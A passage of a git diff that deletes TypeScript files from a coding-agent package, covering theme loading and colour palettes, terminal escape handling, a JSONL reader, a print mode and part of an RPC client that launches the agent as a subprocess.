initialized. Call initTheme() first."); - return (t as unknown as Record)[prop]; - }, -}); - -function setGlobalTheme(t: Theme): void { - (globalThis as Record)[THEME_KEY] = t; -} - -let currentThemeName: string | undefined; -let themeWatcher: fs.FSWatcher | undefined; -const onThemeChangeCallbacks = new Set<() => void>(); -const registeredThemes = new Map(); - -export function setRegisteredThemes(themes: Theme[]): void { - registeredThemes.clear(); - for (const theme of themes) { - if (theme.name) { - registeredThemes.set(theme.name, theme); - } - } -} - -export function initTheme( - themeName?: string, - enableWatcher: boolean = false, -): void { - const name = themeName ?? getDefaultTheme(); - currentThemeName = name; - try { - setGlobalTheme(loadTheme(name)); - if (enableWatcher) { - startThemeWatcher(); - } - } catch (_error) { - // Theme is invalid - fall back to dark theme silently - currentThemeName = "dark"; - setGlobalTheme(loadTheme("dark")); - // Don't start watcher for fallback theme - } -} - -export function setTheme( - name: string, - enableWatcher: boolean = false, -): { success: boolean; error?: string } { - currentThemeName = name; - try { - setGlobalTheme(loadTheme(name)); - if (enableWatcher) { - startThemeWatcher(); - } - onThemeChangeCallbacks.forEach((cb) => cb()); - return { success: true }; - } catch (error) { - // Theme is invalid - fall back to dark theme - currentThemeName = "dark"; - setGlobalTheme(loadTheme("dark")); - // Don't start watcher for fallback theme - return { - success: false, - error: error instanceof Error ? error.message : String(error), - }; - } -} - -export function setThemeInstance(themeInstance: Theme): void { - setGlobalTheme(themeInstance); - currentThemeName = ""; - stopThemeWatcher(); // Can't watch a direct instance - onThemeChangeCallbacks.forEach((cb) => cb()); -} - -export function onThemeChange(callback: () => void): () => void { - onThemeChangeCallbacks.add(callback); - return () => { - onThemeChangeCallbacks.delete(callback); - }; -} - -function startThemeWatcher(): void { - // Stop existing watcher if any - if (themeWatcher) { - themeWatcher.close(); - themeWatcher = undefined; - } - - // Only watch if it's a custom theme (not built-in) - if ( - !currentThemeName || - currentThemeName === "dark" || - currentThemeName === "light" - ) { - return; - } - - const customThemesDir = getCustomThemesDir(); - const themeFile = path.join(customThemesDir, `${currentThemeName}.json`); - - // Only watch if the file exists - if (!fs.existsSync(themeFile)) { - return; - } - - try { - themeWatcher = fs.watch(themeFile, (eventType) => { - if (eventType === "change") { - // Debounce rapid changes - setTimeout(() => { - try { - // Reload the theme - setGlobalTheme(loadTheme(currentThemeName!)); - // Notify callbacks (to invalidate UI) - onThemeChangeCallbacks.forEach((cb) => cb()); - } catch (_error) { - // Ignore errors (file might be in invalid state while being edited) - } - }, 100); - } else if (eventType === "rename") { - // File was deleted or renamed - fall back to default theme - setTimeout(() => { - if (!fs.existsSync(themeFile)) { - currentThemeName = "dark"; - setGlobalTheme(loadTheme("dark")); - if (themeWatcher) { - themeWatcher.close(); - themeWatcher = undefined; - } - onThemeChangeCallbacks.forEach((cb) => cb()); - } - }, 100); - } - }); - } catch (_error) { - // Ignore errors starting watcher - } -} - -export function stopThemeWatcher(): void { - if (themeWatcher) { - themeWatcher.close(); - themeWatcher = undefined; - } -} - -// ============================================================================ -// HTML Export Helpers -// ============================================================================ - -/** - * Convert a 256-color index to hex string. - * Indices 0-15: basic colors (approximate) - * Indices 16-231: 6x6x6 color cube - * Indices 232-255: grayscale ramp - */ -function ansi256ToHex(index: number): string { - // Basic colors (0-15) - approximate common terminal values - const basicColors = [ - "#000000", - "#800000", - "#008000", - "#808000", - "#000080", - "#800080", - "#008080", - "#c0c0c0", - "#808080", - "#ff0000", - "#00ff00", - "#ffff00", - "#0000ff", - "#ff00ff", - "#00ffff", - "#ffffff", - ]; - if (index < 16) { - return basicColors[index]; - } - - // Color cube (16-231): 6x6x6 = 216 colors - if (index < 232) { - const cubeIndex = index - 16; - const r = Math.floor(cubeIndex / 36); - const g = Math.floor((cubeIndex % 36) / 6); - const b = cubeIndex % 6; - const toHex = (n: number) => - (n === 0 ? 0 : 55 + n * 40).toString(16).padStart(2, "0"); - return `#${toHex(r)}${toHex(g)}${toHex(b)}`; - } - - // Grayscale (232-255): 24 shades - const gray = 8 + (index - 232) * 10; - const grayHex = gray.toString(16).padStart(2, "0"); - return `#${grayHex}${grayHex}${grayHex}`; -} - -/** - * Get resolved theme colors as CSS-compatible hex strings. - * Used by HTML export to generate CSS custom properties. - */ -export function getResolvedThemeColors( - themeName?: string, -): Record { - const name = themeName ?? currentThemeName ?? getDefaultTheme(); - const isLight = name === "light"; - const themeJson = loadThemeJson(name); - const resolved = resolveThemeColors(themeJson.colors, themeJson.vars); - - // Default text color for empty values (terminal uses default fg color) - const defaultText = isLight ? "#000000" : "#e5e5e7"; - - const cssColors: Record = {}; - for (const [key, value] of Object.entries(resolved)) { - if (typeof value === "number") { - cssColors[key] = ansi256ToHex(value); - } else if (value === "") { - // Empty means default terminal color - use sensible fallback for HTML - cssColors[key] = defaultText; - } else { - cssColors[key] = value; - } - } - return cssColors; -} - -/** - * Get explicit export colors from theme JSON, if specified. - * Returns undefined for each color that isn't explicitly set. - */ -export function getThemeExportColors(themeName?: string): { - pageBg?: string; - cardBg?: string; - infoBg?: string; -} { - const name = themeName ?? currentThemeName ?? getDefaultTheme(); - try { - const themeJson = loadThemeJson(name); - const exportSection = themeJson.export; - if (!exportSection) return {}; - - const vars = themeJson.vars ?? {}; - const resolve = ( - value: string | number | undefined, - ): string | undefined => { - if (value === undefined) return undefined; - if (typeof value === "number") return ansi256ToHex(value); - if (value.startsWith("$")) { - const resolved = vars[value]; - if (resolved === undefined) return undefined; - if (typeof resolved === "number") return ansi256ToHex(resolved); - return resolved; - } - return value; - }; - - return { - pageBg: resolve(exportSection.pageBg), - cardBg: resolve(exportSection.cardBg), - infoBg: resolve(exportSection.infoBg), - }; - } catch { - return {}; - } -} - -// ============================================================================ -// TUI Helpers -// ============================================================================ - -let cachedHighlightColorsFor: Theme | undefined; -let cachedHighlightColors: HighlightColors | undefined; - -function buildHighlightColors(t: Theme): HighlightColors { - return { - comment: t.getFgAnsi("syntaxComment"), - keyword: t.getFgAnsi("syntaxKeyword"), - function: t.getFgAnsi("syntaxFunction"), - variable: t.getFgAnsi("syntaxVariable"), - string: t.getFgAnsi("syntaxString"), - number: t.getFgAnsi("syntaxNumber"), - type: t.getFgAnsi("syntaxType"), - operator: t.getFgAnsi("syntaxOperator"), - punctuation: t.getFgAnsi("syntaxPunctuation"), - }; -} - -function getHighlightColors(t: Theme): HighlightColors { - if (cachedHighlightColorsFor !== t || !cachedHighlightColors) { - cachedHighlightColorsFor = t; - cachedHighlightColors = buildHighlightColors(t); - } - return cachedHighlightColors; -} - -/** - * Highlight code with syntax coloring based on file extension or language. - * Returns array of highlighted lines. - */ -export function highlightCode(code: string, lang?: string): string[] { - if (!NATIVE_TUI_HIGHLIGHT_ENABLED) { - return code.split("\n"); - } - - const validLang = lang && supportsLanguage(lang) ? lang : null; - try { - return nativeHighlightCode( - code, - validLang, - getHighlightColors(theme), - ).split("\n"); - } catch { - return code.split("\n"); - } -} - -/** - * Get language identifier from file path extension. - */ -export function getLanguageFromPath(filePath: string): string | undefined { - const ext = filePath.split(".").pop()?.toLowerCase(); - if (!ext) return undefined; - - const extToLang: Record = { - ts: "typescript", - tsx: "typescript", - js: "javascript", - jsx: "javascript", - mjs: "javascript", - cjs: "javascript", - py: "python", - rb: "ruby", - rs: "rust", - go: "go", - java: "java", - kt: "kotlin", - swift: "swift", - c: "c", - h: "c", - cpp: "cpp", - cc: "cpp", - cxx: "cpp", - hpp: "cpp", - cs: "csharp", - php: "php", - sh: "bash", - bash: "bash", - zsh: "bash", - fish: "fish", - ps1: "powershell", - sql: "sql", - html: "html", - htm: "html", - css: "css", - scss: "scss", - sass: "sass", - less: "less", - json: "json", - yaml: "yaml", - yml: "yaml", - toml: "toml", - xml: "xml", - md: "markdown", - markdown: "markdown", - dockerfile: "dockerfile", - makefile: "makefile", - cmake: "cmake", - lua: "lua", - perl: "perl", - r: "r", - scala: "scala", - clj: "clojure", - ex: "elixir", - exs: "elixir", - erl: "erlang", - hs: "haskell", - ml: "ocaml", - vim: "vim", - graphql: "graphql", - proto: "protobuf", - tf: "hcl", - hcl: "hcl", - }; - - return extToLang[ext]; -} - -export function getMarkdownTheme(): MarkdownTheme { - return { - heading: (text: string) => theme.fg("mdHeading", text), - link: (text: string) => theme.fg("mdLink", text), - linkUrl: (text: string) => theme.fg("mdLinkUrl", text), - code: (text: string) => theme.fg("mdCode", text), - codeBlock: (text: string) => theme.fg("mdCodeBlock", text), - codeBlockBorder: (text: string) => theme.fg("mdCodeBlockBorder", text), - quote: (text: string) => theme.fg("mdQuote", text), - quoteBorder: (text: string) => theme.fg("mdQuoteBorder", text), - hr: (text: string) => theme.fg("mdHr", text), - listBullet: (text: string) => theme.fg("mdListBullet", text), - bold: (text: string) => theme.bold(text), - italic: (text: string) => theme.italic(text), - underline: (text: string) => theme.underline(text), - strikethrough: (text: string) => chalk.strikethrough(text), - highlightCode: (code: string, lang?: string): string[] => { - if (!NATIVE_TUI_HIGHLIGHT_ENABLED) { - return code.split("\n").map((line) => theme.fg("mdCodeBlock", line)); - } - - const validLang = lang && supportsLanguage(lang) ? lang : null; - try { - return nativeHighlightCode( - code, - validLang, - getHighlightColors(theme), - ).split("\n"); - } catch { - return code.split("\n").map((line) => theme.fg("mdCodeBlock", line)); - } - }, - }; -} - -export function getSelectListTheme(): SelectListTheme { - return { - selectedPrefix: (text: string) => theme.fg("accent", text), - selectedText: (text: string) => theme.fg("accent", text), - description: (text: string) => theme.fg("muted", text), - scrollInfo: (text: string) => theme.fg("muted", text), - noMatch: (text: string) => theme.fg("muted", text), - }; -} - -export function getEditorTheme(): EditorTheme { - return { - borderColor: (text: string) => theme.fg("borderMuted", text), - selectList: getSelectListTheme(), - }; -} - -export function getSettingsListTheme(): import("@singularity-forge/pi-tui").SettingsListTheme { - return { - label: (text: string, selected: boolean) => - selected ? theme.fg("accent", text) : text, - value: (text: string, selected: boolean) => - selected ? theme.fg("accent", text) : theme.fg("muted", text), - description: (text: string) => theme.fg("dim", text), - cursor: theme.fg("accent", "→ "), - hint: (text: string) => theme.fg("dim", text), - }; -} diff --git a/packages/pi-coding-agent/src/modes/interactive/theme/themes.ts b/packages/pi-coding-agent/src/modes/interactive/theme/themes.ts deleted file mode 100644 index 1ff27f4ca..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/theme/themes.ts +++ /dev/null @@ -1,190 +0,0 @@ -/** - * Built-in theme definitions. - * - * The default palettes follow the Singularity Engine design system: - * Scandinavian x IBM Carbon, ember-40 accent, warm gray/stone neutrals, - * paper/ink semantics, hard hairlines, and restrained status color. - */ - -import type { ThemeJson } from "./theme.js"; - -const dark: ThemeJson = { - name: "dark", - vars: { - ember40: "#ff8838", - paper: "#f7f5f1", - paper2: "#efece6", - stone1: "#d4cfc3", - stone2: "#8d877a", - stone3: "#6b6659", - ink1: "#1a1916", - ink2: "#2c2a26", - ink3: "#3d3b36", - green: "#24a148", - red: "#da1e28", - blue: "#4589ff", - yellow: "#f1c21b", - mutedBg: "#22201d", - selectedBg: "#2c2a26", - userMsgBg: "#1a1916", - toolPendingBg: "#1a1916", - toolSuccessBg: "#172018", - toolErrorBg: "#261717", - customMsgBg: "#22201d", - }, - colors: { - accent: "ember40", - border: "stone3", - borderAccent: "ember40", - borderMuted: "ink3", - success: "green", - error: "red", - warning: "ember40", - muted: "stone2", - dim: "stone3", - text: "paper", - thinkingText: "stone2", - - selectedBg: "selectedBg", - userMessageBg: "userMsgBg", - userMessageText: "paper", - customMessageBg: "customMsgBg", - customMessageText: "paper", - customMessageLabel: "ember40", - toolPendingBg: "toolPendingBg", - toolSuccessBg: "toolSuccessBg", - toolErrorBg: "toolErrorBg", - toolTitle: "ember40", - toolOutput: "stone2", - - mdHeading: "paper", - mdLink: "ember40", - mdLinkUrl: "stone2", - mdCode: "ember40", - mdCodeBlock: "paper2", - mdCodeBlockBorder: "stone3", - mdQuote: "stone1", - mdQuoteBorder: "ember40", - mdHr: "stone3", - mdListBullet: "ember40", - - toolDiffAdded: "green", - toolDiffRemoved: "red", - toolDiffContext: "stone2", - - syntaxComment: "stone2", - syntaxKeyword: "ember40", - syntaxFunction: "paper", - syntaxVariable: "paper2", - syntaxString: "#ffb27a", - syntaxNumber: "#f1c21b", - syntaxType: "#33b1ff", - syntaxOperator: "stone1", - syntaxPunctuation: "stone2", - - thinkingOff: "ink3", - thinkingMinimal: "stone3", - thinkingLow: "stone2", - thinkingMedium: "ember40", - thinkingHigh: "#ffb27a", - thinkingXhigh: "#fff1e6", - - bashMode: "green", - }, - export: { - pageBg: "#1a1916", - cardBg: "#22201d", - infoBg: "#2c2a26", - }, -}; - -const light: ThemeJson = { - name: "light", - vars: { - ember40: "#ff8838", - paper: "#f7f5f1", - paper2: "#efece6", - paper3: "#e6e2da", - stone1: "#d4cfc3", - stone2: "#8d877a", - stone3: "#6b6659", - ink1: "#1a1916", - ink2: "#3d3b36", - green: "#24a148", - red: "#da1e28", - blue: "#4589ff", - yellow: "#f1c21b", - selectedBg: "#efece6", - userMsgBg: "#ffffff", - toolPendingBg: "#ffffff", - toolSuccessBg: "#f0f6ef", - toolErrorBg: "#fff1ee", - customMsgBg: "#efece6", - }, - colors: { - accent: "ember40", - border: "stone3", - borderAccent: "ember40", - borderMuted: "stone1", - success: "green", - error: "red", - warning: "ember40", - muted: "stone3", - dim: "stone2", - text: "ink1", - thinkingText: "stone3", - - selectedBg: "selectedBg", - userMessageBg: "userMsgBg", - userMessageText: "ink1", - customMessageBg: "customMsgBg", - customMessageText: "ink1", - customMessageLabel: "ember40", - toolPendingBg: "toolPendingBg", - toolSuccessBg: "toolSuccessBg", - toolErrorBg: "toolErrorBg", - toolTitle: "ember40", - toolOutput: "stone3", - - mdHeading: "ink1", - mdLink: "ember40", - mdLinkUrl: "stone3", - mdCode: "ember40", - mdCodeBlock: "ink2", - mdCodeBlockBorder: "stone1", - mdQuote: "stone3", - mdQuoteBorder: "ember40", - mdHr: "stone1", - mdListBullet: "ember40", - - toolDiffAdded: "green", - toolDiffRemoved: "red", - toolDiffContext: "stone3", - - syntaxComment: "stone3", - syntaxKeyword: "#b5500f", - syntaxFunction: "ink1", - syntaxVariable: "ink2", - syntaxString: "#8a3d0a", - syntaxNumber: "#87620a", - syntaxType: "#3a5c8c", - syntaxOperator: "ink2", - syntaxPunctuation: "stone3", - - thinkingOff: "stone1", - thinkingMinimal: "stone2", - thinkingLow: "stone3", - thinkingMedium: "ember40", - thinkingHigh: "#e56a1a", - thinkingXhigh: "#8a3d0a", - - bashMode: "green", - }, - export: { - pageBg: "#f7f5f1", - cardBg: "#ffffff", - infoBg: "#efece6", - }, -}; - -export const builtinThemes: Record = { dark, light }; diff --git a/packages/pi-coding-agent/src/modes/interactive/utils/shorten-path.ts b/packages/pi-coding-agent/src/modes/interactive/utils/shorten-path.ts deleted file mode 100644 index b82a39056..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/utils/shorten-path.ts +++ /dev/null @@ -1,14 +0,0 @@ -import * as os from "node:os"; - -/** - * Convert absolute path to tilde notation if it's in home directory. - * Returns empty string for non-string or empty inputs. - */ -export function shortenPath(path: unknown): string { - if (typeof path !== "string" || !path) return ""; - const home = os.homedir(); - if (path.startsWith(home)) { - return `~${path.slice(home.length)}`; - } - return path; -} diff --git a/packages/pi-coding-agent/src/modes/print-mode.ts b/packages/pi-coding-agent/src/modes/print-mode.ts deleted file mode 100644 index e77f22da3..000000000 --- a/packages/pi-coding-agent/src/modes/print-mode.ts +++ /dev/null @@ -1,138 +0,0 @@ -/** - * Print mode (single-shot): Send prompts, output result, exit. - * - * Used for: - * - `pi -p "prompt"` - text output - * - `pi --mode json "prompt"` - JSON event stream - */ - -import type { AssistantMessage, ImageContent } from "@singularity-forge/pi-ai"; -import type { AgentSession } from "../core/agent-session.js"; -import { createDefaultCommandContextActions } from "./shared/command-context-actions.js"; - -/** - * Options for print mode. - */ -export interface PrintModeOptions { - /** Output mode: "text" for final response only, "json" for all events */ - mode: "text" | "json"; - /** Array of additional prompts to send after initialMessage */ - messages?: string[]; - /** First message to send (may contain @file content) */ - initialMessage?: string; - /** Images to attach to the initial message */ - initialImages?: ImageContent[]; -} - -/** - * Run in print (single-shot) mode. - * Sends prompts to the agent and outputs the result. - */ -export async function runPrintMode( - session: AgentSession, - options: PrintModeOptions, -): Promise { - const { mode, messages = [], initialMessage, initialImages } = options; - if (mode === "json") { - const header = session.sessionManager.getHeader(); - if (header) { - console.log(JSON.stringify(header)); - } - } - // Set up extensions for print mode (no UI) - await session.bindExtensions({ - commandContextActions: createDefaultCommandContextActions(session), - onError: (err) => { - console.error(`Extension error (${err.extensionPath}): ${err.error}`); - }, - }); - - // Always subscribe to enable session persistence via _handleAgentEvent - const unsubscribe = session.subscribe((event) => { - // In JSON mode, output all events - if (mode === "json") { - console.log(JSON.stringify(event)); - } - }); - - let exitCode = 0; - let disposed = false; - const signalCleanupHandlers: Array<() => void> = []; - - const disposeSession = (): void => { - if (disposed) return; - disposed = true; - unsubscribe(); - }; - - const registerSignalHandlers = (): void => { - const signals: NodeJS.Signals[] = ["SIGTERM"]; - if (process.platform !== "win32") signals.push("SIGHUP"); - for (const signal of signals) { - const handler = () => { - disposeSession(); - process.exit(signal === "SIGHUP" ? 129 : 143); - }; - process.on(signal, handler); - signalCleanupHandlers.push(() => process.off(signal, handler)); - } - }; - - registerSignalHandlers(); - - try { - // Send initial message with attachments - if (initialMessage) { - await session.prompt(initialMessage, { images: initialImages }); - } - - // Send remaining messages - for (const message of messages) { - await session.prompt(message); - } - - // In text mode, output final response - if (mode === "text") { - const state = session.state; - const lastMessage = state.messages[state.messages.length - 1]; - - if (lastMessage?.role === "assistant") { - const assistantMsg = lastMessage as AssistantMessage; - - // Check for error/aborted - if ( - assistantMsg.stopReason === "error" || - assistantMsg.stopReason === "aborted" - ) { - console.error( - assistantMsg.errorMessage || `Request ${assistantMsg.stopReason}`, - ); - exitCode = 1; - } else { - // Output text content - for (const content of assistantMsg.content) { - if (content.type === "text") { - console.log(content.text); - } - } - } - } - } - - // Ensure stdout is fully flushed before returning - // This prevents race conditions where the process exits before all output is written - await new Promise((resolve, reject) => { - process.stdout.write("", (err) => { - if (err) reject(err); - else resolve(); - }); - }); - } finally { - for (const cleanup of signalCleanupHandlers) cleanup(); - disposeSession(); - } - - if (exitCode !== 0) { - process.exit(exitCode); - } -} diff --git a/packages/pi-coding-agent/src/modes/rpc/jsonl.ts b/packages/pi-coding-agent/src/modes/rpc/jsonl.ts deleted file mode 100644 index c5a826fda..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/jsonl.ts +++ /dev/null @@ -1,67 +0,0 @@ -import type { Readable } from "node:stream"; -import { StringDecoder } from "node:string_decoder"; - -/** - * Serialize a single strict JSONL record. - * - * Framing is LF-only. Payload strings may contain other Unicode separators such as - * U+2028 and U+2029. Clients must split records on `\n` only. - */ -export function serializeJsonLine(value: unknown): string { - return `${JSON.stringify(value)}\n`; -} - -/** - * Attach an LF-only JSONL reader to a stream. - * - * This intentionally does not use Node readline. Readline splits on additional - * Unicode separators that are valid inside JSON strings and therefore does not - * implement strict JSONL framing. - */ -export function attachJsonlLineReader( - stream: Readable, - onLine: (line: string) => void, -): () => void { - const decoder = new StringDecoder("utf8"); - let buffer = ""; - - const emitLine = (line: string) => { - onLine(line.endsWith("\r") ? line.slice(0, -1) : line); - }; - - const onData = (chunk: string | Buffer) => { - buffer += typeof chunk === "string" ? chunk : decoder.write(chunk); - - while (true) { - const newlineIndex = buffer.indexOf("\n"); - if (newlineIndex === -1) { - return; - } - - emitLine(buffer.slice(0, newlineIndex)); - buffer = buffer.slice(newlineIndex + 1); - } - }; - - const onEnd = () => { - buffer += decoder.end(); - if (buffer.length > 0) { - emitLine(buffer); - buffer = ""; - } - }; - - const onError = (_err: Error) => { - // Stream errors are non-fatal for JSONL reading - }; - - stream.on("data", onData); - stream.on("end", onEnd); - stream.on("error", onError); - - return () => { - stream.off("data", onData); - stream.off("end", onEnd); - stream.off("error", onError); - }; -} diff --git a/packages/pi-coding-agent/src/modes/rpc/remote-terminal.ts b/packages/pi-coding-agent/src/modes/rpc/remote-terminal.ts deleted file mode 100644 index 2458f52bb..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/remote-terminal.ts +++ /dev/null @@ -1,109 +0,0 @@ -import type { Terminal } from "@singularity-forge/pi-tui"; - -export interface RemoteTerminalOptions { - onWrite: (data: string) => void; - initialColumns?: number; - initialRows?: number; -} - -/** - * Browser-backed terminal transport for the bridge-hosted native TUI. - * It implements the pi-tui Terminal contract but forwards output over the - * RPC bridge instead of writing to process stdout. - */ -export class RemoteTerminal implements Terminal { - private inputHandler?: (data: string) => void; - private resizeHandler?: () => void; - private _columns: number; - private _rows: number; - - constructor(private readonly options: RemoteTerminalOptions) { - this._columns = Math.max(1, options.initialColumns ?? 120); - this._rows = Math.max(1, options.initialRows ?? 30); - } - - start(onInput: (data: string) => void, onResize: () => void): void { - this.inputHandler = onInput; - this.resizeHandler = onResize; - } - - stop(): void { - this.inputHandler = undefined; - this.resizeHandler = undefined; - } - - async drainInput(): Promise { - // Browser transport has no local stdin buffer to drain. - } - - write(data: string): void { - if (!data) return; - this.options.onWrite(data); - } - - get columns(): number { - return this._columns; - } - - get rows(): number { - return this._rows; - } - - get isTTY(): boolean { - // RemoteTerminal renders to a browser-based terminal emulator via - // the RPC bridge — it behaves like a real TTY for rendering purposes. - return true; - } - - get kittyProtocolActive(): boolean { - return false; - } - - pushInput(data: string): void { - if (!data) return; - this.inputHandler?.(data); - } - - resize(columns: number, rows: number): void { - const nextColumns = Math.max(1, Math.floor(columns)); - const nextRows = Math.max(1, Math.floor(rows)); - const changed = nextColumns !== this._columns || nextRows !== this._rows; - this._columns = nextColumns; - this._rows = nextRows; - if (changed) { - this.resizeHandler?.(); - } - } - - moveBy(lines: number): void { - if (lines > 0) { - this.write(`\x1b[${lines}B`); - } else if (lines < 0) { - this.write(`\x1b[${-lines}A`); - } - } - - hideCursor(): void { - this.write("\x1b[?25l"); - } - - showCursor(): void { - this.write("\x1b[?25h"); - } - - clearLine(): void { - this.write("\x1b[K"); - } - - clearFromCursor(): void { - this.write("\x1b[J"); - } - - clearScreen(): void { - this.write("\x1b[2J\x1b[H"); - } - - setTitle(title: string): void { - this.write(`\x1b]0;${title}\x07`); - } -} diff --git a/packages/pi-coding-agent/src/modes/rpc/rpc-client.ts b/packages/pi-coding-agent/src/modes/rpc/rpc-client.ts deleted file mode 100644 index 59a0cbefb..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/rpc-client.ts +++ /dev/null @@ -1,707 +0,0 @@ -/** - * RPC Client for programmatic access to the coding agent. - * - * Spawns the agent in RPC mode and provides a typed API for all operations. - */ - -import { type ChildProcess, spawn } from "node:child_process"; -import { existsSync } from "node:fs"; -import { dirname, join, resolve } from "node:path"; -import type { - AgentEvent, - AgentMessage, - ThinkingLevel, -} from "@singularity-forge/pi-agent-core"; -import type { ImageContent } from "@singularity-forge/pi-ai"; -import type { SessionStats } from "../../core/agent-session.js"; -import type { BashResult } from "../../core/bash-executor.js"; -import type { CompactionResult } from "../../core/compaction/index.js"; -import { attachJsonlLineReader, serializeJsonLine } from "./jsonl.js"; -import type { - RpcCommand, - RpcInitResult, - RpcResponse, - RpcSessionState, - RpcSlashCommand, -} from "./rpc-types.js"; - -// ============================================================================ -// Types -// ============================================================================ - -/** Distributive Omit that works with union types */ -type DistributiveOmit = T extends unknown - ? Omit - : never; - -/** RpcCommand without the id field (for internal send) */ -type RpcCommandBody = DistributiveOmit; - -export interface RpcClientOptions { - /** Path to the CLI entry point (default: searches for dist/cli.js) */ - cliPath?: string; - /** Working directory for the agent */ - cwd?: string; - /** Environment variables */ - env?: Record; - /** Provider to use */ - provider?: string; - /** Model ID to use */ - model?: string; - /** Additional CLI arguments */ - args?: string[]; -} - -export interface ModelInfo { - provider: string; - id: string; - contextWindow: number; - reasoning: boolean; -} - -export type RpcEventListener = (event: AgentEvent) => void; - -interface RpcLaunchSpec { - command: string; - args: string[]; -} - -function isTypeScriptEntrypoint(cliPath: string): boolean { - return cliPath.endsWith(".ts") || cliPath.endsWith(".tsx"); -} - -function isJavaScriptEntrypoint(cliPath: string): boolean { - return ( - cliPath.endsWith(".js") || - cliPath.endsWith(".mjs") || - cliPath.endsWith(".cjs") - ); -} - -function findResolveTsLoader(cliPath: string): string | null { - let currentDir = resolve(dirname(cliPath)); - while (true) { - const candidate = join( - currentDir, - "src", - "resources", - "extensions", - "sf", - "tests", - "resolve-ts.mjs", - ); - if (existsSync(candidate)) { - return candidate; - } - const parentDir = dirname(currentDir); - if (parentDir === currentDir) { - return null; - } - currentDir = parentDir; - } -} - -export function buildRpcLaunchSpec(cliPath: string): RpcLaunchSpec { - if (isJavaScriptEntrypoint(cliPath)) { - return { - command: "node", - args: [cliPath], - }; - } - - if (!isTypeScriptEntrypoint(cliPath)) { - return { - command: cliPath, - args: [], - }; - } - - const resolveTsLoader = findResolveTsLoader(cliPath); - if (!resolveTsLoader) { - throw new Error( - `Could not find resolve-ts.mjs for TypeScript CLI path: ${cliPath}`, - ); - } - - return { - command: "node", - args: ["--import", resolveTsLoader, "--experimental-strip-types", cliPath], - }; -} - -// ============================================================================ -// RPC Client -// ============================================================================ - -export class RpcClient { - private process: ChildProcess | null = null; - private stopReadingStdout: (() => void) | null = null; - private _stderrHandler?: (data: Buffer) => void; - private eventListeners: RpcEventListener[] = []; - private pendingRequests: Map< - string, - { resolve: (response: RpcResponse) => void; reject: (error: Error) => void } - > = new Map(); - private requestId = 0; - private stderr = ""; - - constructor(private options: RpcClientOptions = {}) {} - - /** - * Start the RPC agent process. - */ - async start(): Promise { - if (this.process) { - throw new Error("Client already started"); - } - - const cliPath = this.options.cliPath ?? "dist/cli.js"; - const args = ["--mode", "rpc"]; - - if (this.options.provider) { - args.push("--provider", this.options.provider); - } - if (this.options.model) { - args.push("--model", this.options.model); - } - if (this.options.args) { - args.push(...this.options.args); - } - - const launchSpec = buildRpcLaunchSpec(cliPath); - this.process = spawn(launchSpec.command, [...launchSpec.args, ...args], { - cwd: this.options.cwd, - env: { ...process.env, ...this.options.env }, - stdio: ["pipe", "pipe", "pipe"], - }); - - // Collect stderr for debugging - this._stderrHandler = (data: Buffer) => { - this.stderr += data.toString(); - }; - this.process.stderr?.on("data", this._stderrHandler); - - // Set up strict JSONL reader for stdout. - this.stopReadingStdout = attachJsonlLineReader( - this.process.stdout!, - (line) => { - this.handleLine(line); - }, - ); - - // Detect unexpected subprocess exit and reject all pending requests - this.process.on("exit", (code, signal) => { - if (this.pendingRequests.size > 0) { - const reason = signal ? `signal ${signal}` : `code ${code}`; - const error = new Error( - `Agent process exited unexpectedly (${reason}). Stderr: ${this.stderr}`, - ); - for (const [id, pending] of this.pendingRequests) { - this.pendingRequests.delete(id); - pending.reject(error); - } - } - }); - - // Wait a moment for process to initialize - await new Promise((resolve) => setTimeout(resolve, 100)); - - if (this.process.exitCode !== null) { - throw new Error( - `Agent process exited immediately with code ${this.process.exitCode}. Stderr: ${this.stderr}`, - ); - } - } - - /** - * Stop the RPC agent process. - */ - async stop(): Promise { - if (!this.process) return; - - this.stopReadingStdout?.(); - this.stopReadingStdout = null; - if (this._stderrHandler) { - this.process.stderr?.removeListener("data", this._stderrHandler); - this._stderrHandler = undefined; - } - this.process.kill("SIGTERM"); - - // Wait for process to exit - await new Promise((resolve) => { - const timeout = setTimeout(() => { - this.process?.kill("SIGKILL"); - resolve(); - }, 1000); - - this.process?.on("exit", () => { - clearTimeout(timeout); - resolve(); - }); - }); - - this.process = null; - this.pendingRequests.clear(); - } - - /** - * Subscribe to agent events. - */ - onEvent(listener: RpcEventListener): () => void { - this.eventListeners.push(listener); - return () => { - const index = this.eventListeners.indexOf(listener); - if (index !== -1) { - this.eventListeners.splice(index, 1); - } - }; - } - - /** - * Get collected stderr output (useful for debugging). - */ - getStderr(): string { - return this.stderr; - } - - // ========================================================================= - // Command Methods - // ========================================================================= - - /** - * Send a prompt to the agent. - * Returns immediately after sending; use onEvent() to receive streaming events. - * Use waitForIdle() to wait for completion. - */ - async prompt(message: string, images?: ImageContent[]): Promise { - await this.send({ type: "prompt", message, images }); - } - - /** - * Queue a steering message for the agent at the next safe turn. - */ - async steer(message: string, images?: ImageContent[]): Promise { - await this.send({ type: "steer", message, images }); - } - - /** - * Queue a follow-up message to be processed after the agent finishes. - */ - async followUp(message: string, images?: ImageContent[]): Promise { - await this.send({ type: "follow_up", message, images }); - } - - /** - * Abort current operation. - */ - async abort(): Promise { - await this.send({ type: "abort" }); - } - - /** - * Start a new session, optionally with parent tracking. - * @param parentSession - Optional parent session path for lineage tracking - * @returns Object with `cancelled: true` if an extension cancelled the new session - */ - async newSession(parentSession?: string): Promise<{ cancelled: boolean }> { - const response = await this.send({ type: "new_session", parentSession }); - return this.getData(response); - } - - /** - * Get current session state. - */ - async getState(): Promise { - const response = await this.send({ type: "get_state" }); - return this.getData(response); - } - - /** - * Set model by provider and ID. - */ - async setModel( - provider: string, - modelId: string, - ): Promise<{ provider: string; id: string }> { - const response = await this.send({ type: "set_model", provider, modelId }); - return this.getData(response); - } - - /** - * Cycle to next model. - */ - async cycleModel(): Promise<{ - model: { provider: string; id: string }; - thinkingLevel: ThinkingLevel; - isScoped: boolean; - } | null> { - const response = await this.send({ type: "cycle_model" }); - return this.getData(response); - } - - /** - * Get list of available models. - */ - async getAvailableModels(): Promise { - const response = await this.send({ type: "get_available_models" }); - return this.getData<{ models: ModelInfo[] }>(response).models; - } - - /** - * Set thinking level. - */ - async setThinkingLevel(level: ThinkingLevel): Promise { - await this.send({ type: "set_thinking_level", level }); - } - - /** - * Cycle thinking level. - */ - async 